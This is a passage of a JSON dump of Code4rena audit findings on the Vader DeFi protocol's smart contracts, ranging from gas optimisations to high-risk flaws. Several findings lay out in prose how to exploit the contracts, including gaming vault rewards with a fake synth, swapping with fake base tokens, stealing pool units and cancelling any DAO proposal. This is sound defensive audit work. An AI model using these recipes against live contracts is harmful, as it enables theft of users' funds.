on anchor price.", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/314", "labels": ["bug", "disagree with severity", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-04-vader-findings", "body": "Allowing duplicated anchors could cause bias on anchor price."}, {"title": "Out-of-bound index access in function `getAnchorPrice`", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/313", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "Out-of-bound index access in function `getAnchorPrice`"}, {"title": "Unused and Unnecessary code", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/312", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Unused and Unnecessary code"}, {"title": "flashProof is not effective at the start", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/307", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "flashProof is not effective at the start"}, {"title": "Unused ID field in structs", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/304", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact Both structs CollateralDetails and DebtDetails have unused ID field which is never set nor queried: uint ID; "}, {"title": "token == arrayAnchors[i]", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/303", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact In function updateAnchorPrice here 'arrayAnchors[i]' can be replaced with 'token' to eliminate one expensive storage access: arrayPrices[i] = iUTILS(UTILS()).calcValueInBase(arrayAnchors[i], one); "}, {"title": "You don't need to recalculate exclusion fee every time", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/302", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "You don't need to recalculate exclusion fee every time"}, {"title": "Function can be simplified", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/301", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Function can be simplified"}, {"title": "excludedCount", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/300", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "excludedCount"}, {"title": "totalSupply + amount > maxSupply", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/299", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact Condition could be '>', not '>=' as there is no point in recalculating amount to the same value (waste of gas): if((totalSupply + amount) >= maxSupply){ amount = maxSupply - totalSupply; // Safety, can't mint above maxSupply } "}, {"title": "Fee on transfer conditions", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/293", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Fee on transfer conditions"}, {"title": "Some storage optimizations", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/292", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle a_delamo # Vulnerability details Here you have more information: https://gist.github.com/alexon1234/5eb3fff3bded4e4c50d6e13abae6f474 "}, {"title": "Cache duplicate calls or storage access", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/291", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Cache duplicate calls or storage access"}, {"title": "Extract mappings to a common struct", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/289", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Extract mappings to a common struct"}, {"title": "variable == false -> !variable", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/288", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact a bit cheapier when you replace: require(inited == false); with: require(!inited); same with variable == true. "}, {"title": "Extra useless steps to calculate pooledVADER and pooledUSDV ", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/287", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact Here are some useless calculations: if(_token == VADER && _pool != VADER){ // Want to know added VADER addedAmount = _balance - pooledVADER; pooledVADER = pooledVADER + addedAmount; } else if(_token == USDV) { // Want to know added USDV addedAmount = _balance - pooledUSDV; pooledUSDV = pooledUSDV + addedAmount; if you do the simple maths, it is always in the first case, pooledVADER = _balance, in the second case pooledUSDV = _balance. "}, {"title": "Use immutable for constant variables", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/286", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact There are variables that are only assigned once (e.g. in a constructor). You should mark such variables with the keyword \"immutable\", this greatly reduces the gas costs. A concrete example of such a variable is \"VADER\" which is only initialized once and cannot be changed later: VADER = _vader; There are plenty of such variables across the contracts. "}, {"title": "[INFO] Code style suggestions", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/285", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-vader-findings", "body": "[INFO] Code style suggestions"}, {"title": "ERC20 specification declares decimals as uint8 type", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/283", "labels": ["bug", "0 (Non-critical)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact iERC20 decimals field is declared as uint, but to be exact, ERC20 specification declares decimals as uint8. Anyway, this has no security impact as 18 decimals is set which fits in uint8. ## Recommended Mitigation Steps You can refactor to uint8 or just be informed about such compatibility guidelines. "}, {"title": "calculations of upgradedAmount is not overflow protected", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/277", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "calculations of upgradedAmount is not overflow protected"}, {"title": "curatePool emits Curated event no matter what", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/274", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "curatePool emits Curated event no matter what"}, {"title": "You can vote for proposal still not existent", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/273", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "You can vote for proposal still not existent"}, {"title": "Swap fee not applied", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/272", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "Swap fee not applied"}, {"title": "listAnchor sets _isCurated to true but forgets other parts of curation", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/271", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "listAnchor sets _isCurated to true but forgets other parts of curation"}, {"title": "_recordBurn does not handle 0 _eth appropriately", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/269", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function _recordBurn should validate that _eth > 0. Now it is possible to spam this function with 0 eth burns and fictitiously increase member statistics. I have previously reported this issue in a Vader's contest. You can read find details here: https://github.com/code-423n4/2021-04-vader-findings/issues/269 ## Recommended Mitigation Steps Handle case when _eth = 0 in function _recordBurn. "}, {"title": "Function can be simplified", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/263", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Function can be simplified"}, {"title": "Token can be burn through transfer", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/262", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "Token can be burn through transfer"}, {"title": "Use Keccak256 over Sha256 for string comparation", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/258", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Use Keccak256 over Sha256 for string comparation"}, {"title": "Not needed check for uint > 0", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/256", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle s1m0 # Vulnerability details ## Impact The following functions check that an uint > 0 but it's always true. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Utils.sol#L278 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Utils.sol#L197 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vader.sol#L127 ## Tools Used Manual analysis ## Recommended Mitigation Steps Remove the checks. "}, {"title": "Divide before multiply", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/255", "labels": ["bug", "question", "2 (Med Risk)"], "target": "2021-04-vader-findings", "body": "Divide before multiply"}, {"title": "Gas improvement", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/253", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Gas improvement"}, {"title": "Store using Struct over multiple mappings", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/252", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Store using Struct over multiple mappings"}, {"title": "Difference from whitepaper", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/251", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-vader-findings", "body": "Difference from whitepaper"}, {"title": "Events not emitted", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/250", "labels": ["bug", "disagree with severity", "1 (Low Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-04-vader-findings", "body": "# Handle s1m0 # Vulnerability details ## Impact Events not emitted for important state changes. https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Router.sol#L93 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Router.sol#L98 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Router.sol#L196 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Router.sol#L201 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vault.sol#L61 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vader.sol#L163 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vader.sol#L171 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vader.sol#L179 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vader.sol#L184 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vader.sol#L188 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vader.sol#L193 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vader.sol#L198 ## Proof of Concept - ## Tools Used Manual analysis. ## Recommended Mitigation Steps Emit events with meaningful names for the changes made. "}, {"title": "Tokens can get locked and funds lost when minting is disabled in Vader.sol and USDV.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/238", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The flipMinting() function can disable/stop conversion/redeeming of VADER<>USDV tokens upon DAO approval (when that functionality is added). When minting is disabled (i.e. false), the convert functions in USDV.sol accept VADER tokens from sender (L170) but do not burn them to mint the sender the equivalent USDV tokens. When minting is disabled (i.e. false), the redeem functions in USDV.sol accept USDV tokens from sender (L188) but do not burn them to mint the sender the equivalent VADER tokens. Both paths silently return 0 without reverting the transaction thus trapping the sent tokens and leaving the users with lost funds. Protocol will break and funds will be lost. ## Proof of Concept https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L171-L177 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/USDV.sol#L174-L181 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/USDV.sol#L165-L172 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/USDV.sol#L183-L191 https://github.com/code-423n4/2021-04-vader/blob/3041f20c920821b89d01f652867d5207d18c8703/vader-protocol/contracts/Vader.sol#L238-L243 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Revert in the paths (instead of silently returning) when minting is disabled so that tokens are not accepted for conversion or redemption. "}, {"title": "Add anchor map", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/236", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details `Router.updateAnchorPrice` iterates over all anchor tokens on each update which is very inefficient and does a lot of expensive storage loads. add a mapping `address => index` to easily retrieve the index of the token in the `arrayAnchors` mapping. "}, {"title": "`DAO.mapPID_finalised` is never read in the contract, only written", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details `DAO.mapPID_finalised` is never read in the contract, only written. Remove it and show the `finalized` state in the frontend based on whether the `FinalisedProposal` event was emitted "}, {"title": "cache `proposalCount` instead of accessing it three times in `newGrantProposal`/`newAddressProposal`", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/232", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "cache `proposalCount` instead of accessing it three times in `newGrantProposal`/`newAddressProposal`"}, {"title": "ERC20 return values not checked", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/231", "labels": ["bug", "2 (Med Risk)", "filed"], "target": "2021-04-vader-findings", "body": "# Handle cmichel # Vulnerability details The `ERC20.transfer()` and `ERC20.transferFrom()` functions return a boolean value indicating success. This parameter should checked for success. See `Unlock.recordKeyPurchase` which performs ERC20 transfers without checking for the return value. ## Impact As the trusted `udt` token is used which supposedly reverts on failed transfers, not checking the return value does not lead to any security issues. We still recommend checking it to abide by the EIP20 standard. ## Recommended Mitigation Steps Consider using `require(IMintableERC20(udt).transfer(_referrer, tokensToDistribute - devReward), \"transfer failed\")` instead. "}, {"title": " `Protection` event not used", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/230", "labels": ["bug", "0 (Non-critical)", "filed"], "target": "2021-04-vader-findings", "body": " `Protection` event not used"}, {"title": "Completed proposals can be voted on and executed again", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/229", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "filed"], "target": "2021-04-vader-findings", "body": "Completed proposals can be voted on and executed again"}, {"title": "Canceled proposals can still be executed", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/228", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details Proposals that passed the threshold (\"finalized\") can be cancelled by a minority again using the `cancelProposal` functions. It only sets `mapPID_votes` to zero but `mapPID_timeStart` and `mapPID_finalising` stay the same and pass the checks in `finaliseProposal` which queues them for execution. ## Impact Proposals cannot be cancelled. ## Recommended Mitigation Steps Set a cancel flag and check for it in `finaliseProposal` and in execution. "}, {"title": "Proposals can be cancelled", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/227", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed", "filed", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details Anyone can cancel any proposals by calling `DAO.cancelProposal(id, id)` with `oldProposalID == newProposalID`. This always passes the minority check as the proposal was approved. ## Impact An attacker can launch a denial of service attack on the DAO governance and prevent any proposals from being executed. ## Recommended Mitigation Steps Check `oldProposalID == newProposalID` "}, {"title": "Vault Weight accounting is wrong for withdrawals", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/224", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details When depositing two different synths, their weight is added to the same `mapMember_weight[_member]` storage variable. When withdrawing the full amount of one synth with `_processWithdraw(synth, member, basisPoints=10000` the full weight is decreased. The second deposited synth is now essentially weightless. ## Impact Users that deposited more than one synth can not claim their fair share of rewards after a withdrawal. ## Recommended Mitigation Steps The weight should be indexed by the synth as well. "}, {"title": "Vault rewards last claim time not always initialized", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/223", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `harvest` calls `calcCurrentReward` which computes `_secondsSinceClaim = block.timestamp - mapMemberSynth_lastTime[member][synth];`. As one can claim different synths than the synths that they deposited, `mapMemberSynth_lastTime[member][synth]` might still be uninitialized and the `_secondsSinceClaim` becomes the current block timestamp. ## Impact The larger the `_secondsSinceClaim` the larger the rewards. This bug allows claiming a huge chunk of the rewards. ## Recommended Mitigation Steps Let users only harvest synths that they deposited. "}, {"title": " Vault rewards can be gamed", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/222", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `_deposit` function increases the member's _weight_ by `_weight = iUTILS(UTILS()).calcValueInBase(iSYNTH(_synth).TOKEN(), _amount);` which is the swap output amount when trading the deposited underlying synth amount. Notice that anyone can create synths of custom tokens by calling `Pools.deploySynth(customToken)`. Therefore an attacker can deposit valueless custom tokens and inflate their member weight as follows: 1. Create a custom token and issue lots of tokens to the attacker 2. Create synth of this token 3. Add liquidity for the `TOKEN <> BASE` pair by providing a single wei of `TOKEN` and `10^18` BASE tokens. This makes the `TOKEN` price very expensive. 4. Mint some synths by paying BASE to the pool 5. Deposit the fake synth, `_weight` will be very high because the token pool price is so high. Call `harvest(realSynth)` with a synth with actual value. This will increase the synth balance and it can be withdrawn later. ## Impact Anyone can inflate their member weight through depositing a custom synth and earn almost all vault rewards by calling `harvest(realSynth)` with a valuable \"real\" synth. The rewards are distributed pro rata to the member weight which is independent of the actual synth deposited. ## Recommended Mitigation Steps The `calcReward` function completely disregards the `synth` parameter which seems odd. Think about making the rewards based on the actual synths deposited instead of a \"global\" weight tracker. Alternatively, whitelist certain synths that count toward the weight, or don't let anyone create synths. "}, {"title": "Fee can be at most 1% and dead code", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/221", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "Fee can be at most 1% and dead code"}, {"title": "Transfer fee is burned on wrong accounts", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/220", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `Vader._transfer` function burns the transfer fee on `msg.sender` but this address might not be involved in the transfer at all due to `transferFrom`. ## Impact Smart contracts that simply relay transfers like aggregators have their Vader balance burned or the transaction fails because these accounts don't have any balance to burn, breaking the functionality. ## Recommended Mitigation Steps It should first increase the balance of `recipient` by the full amount and then burn the fee on the `recipient`. "}, {"title": "Interest debt is capped after a year", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/219", "labels": ["bug", "disagree with severity", "2 (Med Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `Utils.getInterestOwed` function computes the `_interestPayment` as: ```solidity uint256 _interestPayment = calcShare( timeElapsed, _year, getInterestPayment(collateralAsset, debtAsset) ); // Share of the payment over 1 year ``` However, `calcShare` caps `timeElpased` to `_year` and therefore the owed interest does not grow after a year has elapsed. ## Impact The impact is probably small because the only call so far computes the elapsed time as `block.timestamp - mapCollateralAsset_NextEra[collateralAsset][debtAsset];` which most likely will never go beyond a year. It's still recommended to fix the logic bug in case more functions will be added that use the broken function. ## Recommended Mitigation Steps Use a different function than `calcShare` that does not cap. "}, {"title": "`flashProof` is not flash-proof", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/218", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `flashProof` modifier is supposed to prevent flash-loan attacks by disallowing performing several sensitive functions in the same block. However, it performs this check on `tx.origin` and not on an individual user address basis. This only prevents flash loan attacks from happening within a single transaction. But flash loan attacks are theoretically not limited to the same transaction but to the same block as miners have full control of the block and include several vulnerable transactions back to back. (Think transaction _bundles_ similar to flashbot bundles that most mining pools currently offer.) A miner can deploy a proxy smart contract relaying all contract calls and call it from a different EOA each time bypassing the `tx.origin` restriction. ## Impact The `flashProof` modifier does not serve its purpose. ## Recommended Mitigation Steps Try to apply the modifier to individual addresses that interact with the protocol instead of `tx.origin`. Furthermore, attacks possible with flash loans are usually also possible for whales, making it debatable if adding flash-loan prevention logic is a good practice. "}, {"title": "Tokens can be stolen through `transferTo`", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/217", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor acknowledged", "filed"], "target": "2021-04-vader-findings", "body": "Tokens can be stolen through `transferTo`"}, {"title": "Wrong `calcAsymmetricShare` calculation", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/214", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The inline-comment defines the number of asymmetric shares as `(u * U * (2 * A^2 - 2 * U * u + U^2))/U^3` but the `Utils.calcAsymmetricShare` function computes `(uA * 2U^2 - 2uU + u^2) / U^3` which is not equivalent as can be seen from the `A^2` term in the first term which does not occur in the second one. The associativity on `P * part1` is wrong, and `part2` is not multiplied by `P`. ## Impact The math from the spec is not correctly implemented and could lead to the protocol being economically exploited, as the asymmetric share which is used to determine the collateral value in base tokens could be wrong. For example, it might be possible to borrow more than the collateral put up. ## Recommended Mitigation Steps Clarify if the comment is correct or the code and fix them. "}, {"title": "getAnchorPrice potentially returns the wrong median", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/213", "labels": ["bug", "disagree with severity", "1 (Low Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `Router.getAnchorPrice` sorts the `arrayPrices` array and always returns the third element `_sortedAnchorFeed[2]`. This only returns the median if `_sortedAnchorFeed` is of length 5, but it can be anything from `0` to `anchorLimit`. ## Impact If not enough anchors are listed initially, it might become out-of-bounds and break all contract functionality due to revert, or return a wrong median. If `anchorLimit` is set to a different value than 5, it's also wrong. ## Recommended Mitigation Steps Check the length of `_sortedAnchorFeed` and return `_sortedAnchorFeed[_sortedAnchorFeed.length / 2]` if it's odd, or the average of the two in the middle if it's even. "}, {"title": "Replacing an anchor does not reset `Pool.isAnchor`", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/212", "labels": ["bug", "disagree with severity", "sponsor acknowledged", "0 (Non-critical)", "filed"], "target": "2021-04-vader-findings", "body": "Replacing an anchor does not reset `Pool.isAnchor`"}, {"title": "Anyone can list anchors / curate tokens", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/211", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Anyone can list anchors / curate tokens"}, {"title": "Anyone can curate pools and steal rewards", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/210", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "Anyone can curate pools and steal rewards"}, {"title": "Wrong slippage protection on Token -> Token trades", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/209", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `Router.swapWithSynthsWithLimit` allows trading token to token and specifying slippage protection. A token to token trade consists of two trades: 1. token to base 2. base to token The slippage protection of the second trade (base to token) is computed wrong: ```solidity require(iUTILS(UTILS()).calcSwapSlip( inputAmount, // should use outToken here from prev trade iPOOLS(POOLS).getBaseAmount(outputToken) ) <= slipLimit ); ``` It compares the **token** input amount (of the first trade) to the **base** reserve of the second pair. ## Impact Slippage protection fails and either the trade is cancelled when it shouldn't be or it is accepted even though the user suffered more losses than expected. ## Recommended Mitigation Steps It should use the base output from the first trade to check for slippage protection. Note that this still just computes the slippage protection of each trade individually. An even better way would be to come up with a formula to compute the slippage on the two trades at once. "}, {"title": "Missing access restriction on `lockUnits/unlockUnits`", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/208", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `Pool.lockUnits` allows anyone to steal pool tokens from a `member` and assign them to `msg.sender`. ## Impact Anyone can steal pool tokens from any other user. ## Recommended Mitigation Steps Add access control and require that `msg.sender` is the router or another authorized party. "}, {"title": "4 Synths can be minted with fake base token", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/207", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `Pools.mintSynth` function does not check if `base` is one of the base tokens. One can transfer `token`s to the pool and set `base=token` and call `mintSynth(token, token, member)`. The `_actualInput = getAddedAmount(base, token);` will return the **token** amount added but use the ratio compared to the **base** reserve `calcSwapOutput(_actualInput=tokenInput, mapToken_baseAmount[token], mapToken_tokenAmount[token]); = tokenIn / baseAmount * tokenAmount` which yields a wrong swap result. ## Impact It breaks the accounting for the pool as `token`s are transferred in, but the `base` balance is increased. The amount that is minted could also be inflated (cheaper than sending the actual base tokens), especially if `token` is a high-precision token or worth less than base. ## Recommended Mitigation Steps Check that `base` is either `USDV` or `VADER` in `mintSynth`. "}, {"title": "`getAddedAmount` can return wrong results", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/206", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `getAddedAmount` function only works correctly when called with `(VADER/USDV, pool)` or `(pool, pool)`. However, when called with (`token, pool)` where `token` is neither `VADER/USDV/pool`, it returns wrong results: 1. It gets the `token` balance 2. And subtracts it from the stored `mapToken_tokenAmount[_pool]` amount which can be that of a completely different token ## Impact Anyone can break individual pairs by calling `sync(token1, token2)` where the `token1` balance is less than `mapToken_tokenAmount[token2]`. This will add the difference to `mapToken_tokenAmount[token2]` and break the accounting and result in a wrong swap logic. Furthermore, this can also be used to swap tokens without having to pay anthing with `swap(token1, token2, member, toBase=false)`. ## Recommended Mitigation Steps Add a require statement in the `else` branch that checks that `_token == _pool`. "}, {"title": "Swap token can be traded as fake base token", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/205", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `Pools.swap` function does not check if `base` is one of the base tokens. One can transfer `token`s to the pool and set `base=token` and call `swap(token, token, member, toBase=false)`. The `_actualInput = getAddedAmount(base, token);` will return the **token** amount added but use the ratio compared to the **base** reserve `calcSwapOutput(_actualInput=tokenInput, mapToken_baseAmount[token], mapToken_tokenAmount[token]); = tokenIn / baseAmount * tokenAmount` which yields a wrong swap result. ## Impact It breaks the accounting for the pool as `token`s are transferred in, but the `base` balance is increased (and `token` decreased). LPs cannot correctly withdraw again, and others cannot correctly swap again. Another example scenario is that the token pool amount can be stolen. Send `tokenIn=baseAmount` of tokens to the pool and call `swap(base=token, token, member, toBase=false)`. Depending on the price of `token` relative to `base` this could be cheaper than trading with the base tokens. ## Recommended Mitigation Steps Check that `base` is either `USDV` or `VADER` "}, {"title": "Wrong liquidity units calculation", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/204", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed", "filed"], "target": "2021-04-vader-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The spec defines the number of LP units to be minted as `units = (P (a B + A b))/(2 A B) * slipAdjustment = P * (part1 + part2) / part3 * slipAdjustments` but the `Utils.calcLiquidityUnits` function computes `((P * part1) + part2) / part3 * slipAdjustments`. The associativity on `P * part1` is wrong, and `part2` is not multiplied by `P`. ## Impact The math from the spec is not correclty implemented and could lead to the protocol being economically exploited, as redeeming the minted LP tokens does not result in the initial tokens anymore. ## Recommended Mitigation Steps Fix the equation. "}, {"title": "Uninitialized variable leads to zero-fees for first transfer in Vader.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/203", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-vader-findings", "body": "Uninitialized variable leads to zero-fees for first transfer in Vader.sol"}, {"title": "Incorrect burn address in Vader.sol", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/202", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor confirmed"], "target": "2021-04-vader-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The internal _transfer() function is called from external facing transfer(), transferFrom() and transferTo() 